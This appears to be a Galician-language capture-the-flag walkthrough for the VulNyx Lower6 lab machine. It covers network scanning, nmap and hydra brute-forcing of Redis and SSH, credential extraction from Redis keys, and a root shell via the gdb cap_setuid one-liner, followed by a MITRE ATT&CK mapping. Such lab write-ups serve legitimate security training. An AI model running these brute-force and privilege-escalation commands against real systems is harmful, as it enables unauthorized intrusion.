Ir ao contido

Doc vulnyx lower6

Máquina virtual Lower6

Fig. VulNyx Lower6
Fig. Card VulNyx Lower6

A máquina Lower6 é moi interesante porque...

  • Redis con autenticación débil (brute-force)
  • Credenciais almacenadas en chaves de Redis
  • Linux Capabilities: gdb con cap_setuid+ep
  • Escalada mediante abuso de capabilities con gdb e Python

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Lower6 -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Lower6 # 22,6379

Fase 2 — Análise

# Porto 6379 → Redis
# Ataque de forza bruta a Redis
nmap -p 6379 --script redis-brute IP_VulNyx_Lower6
# Credencial válida atopada: [contrasinal]

# Conexión a Redis con autenticación
redis-cli -h IP_VulNyx_Lower6 -a [contrasinal]

# Enumeración de chaves en Redis
KEYS *
# Chaves descubertas: key1, key2, key3, key4, key5

# Obtención de valores
GET key1
GET key2
GET key3
GET key4
GET key5

# Extracción e combinación de datos
# cut -d':' -f1 → usuarios
# cut -d':' -f2 → contrasinais
# Eliminar caracteres " do principio e final

Fase 3 — Explotación

# Creación de listas de usuarios e contrasinais
# (baseadas nas keys de Redis)
cat > users.txt << EOF
[usuarios_extraidos]
EOF

cat > pass.txt << EOF
[contrasinais_extraidos]
EOF

# Ataque de forza bruta SSH
hydra -L users.txt -P pass.txt IP_VulNyx_Lower6 ssh
# Credenciais atopadas para o usuario [usuario]

# Acceso SSH
ssh [usuario]@IP_VulNyx_Lower6
# ⇒ Conseguimos consola de usuario [usuario] (flag user.txt)

Fase 4 — Post‑explotación

# Busca de capabilities
/usr/sbin/getcap -r / 2>/dev/null
# Capability identificada: /usr/bin/gdb = cap_setuid+ep

# Consulta en GTFOBins para gdb con capabilities
# Referencia: https://gtfobins.github.io/gtfobins/gdb/

# Explotación de gdb con capability cap_setuid
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
# ⇒ Conseguimos shell de root

# Verificación
whoami # root
id # uid=0(root) ...
cd /root
cat root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: Lower6

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
2. Análise Ataque de forza bruta a Redis Redis authentication brute-force T1110.001 — Brute Force: Password Guessing
T1046 — Network Service Discovery
CWE-521 — Weak Password Requirements; CWE-307 — Improper Restriction of Excessive Authentication Attempts
Extracción de credenciais de base de datos Redis Credential Access T1552.001 — Unsecured Credentials: Credentials In Files
T1213 — Data from Information Repositories
CWE-312 — Cleartext Storage of Sensitive Information
3. Explotación Ataque de forza bruta SSH con credenciais de Redis Credential reuse / SSH brute-force T1110.001 — Brute Force: Password Guessing
T1021.004 — Remote Services: SSH
CWE-521 — Weak Password Requirements
4. Post-explotación Enumeración de capabilities no sistema Discovery local T1083 — File and Directory Discovery
T1068 — Exploitation for Privilege Escalation
CWE-732 — Incorrect Permission Assignment for Critical Resource
Abuso de gdb con capability cap_setuid para escalada Capability abuse T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid
T1059.006 — Command and Scripting Interpreter: Python
CWE-250 — Execution with Unnecessary Privileges; CWE-269 — Improper Privilege Management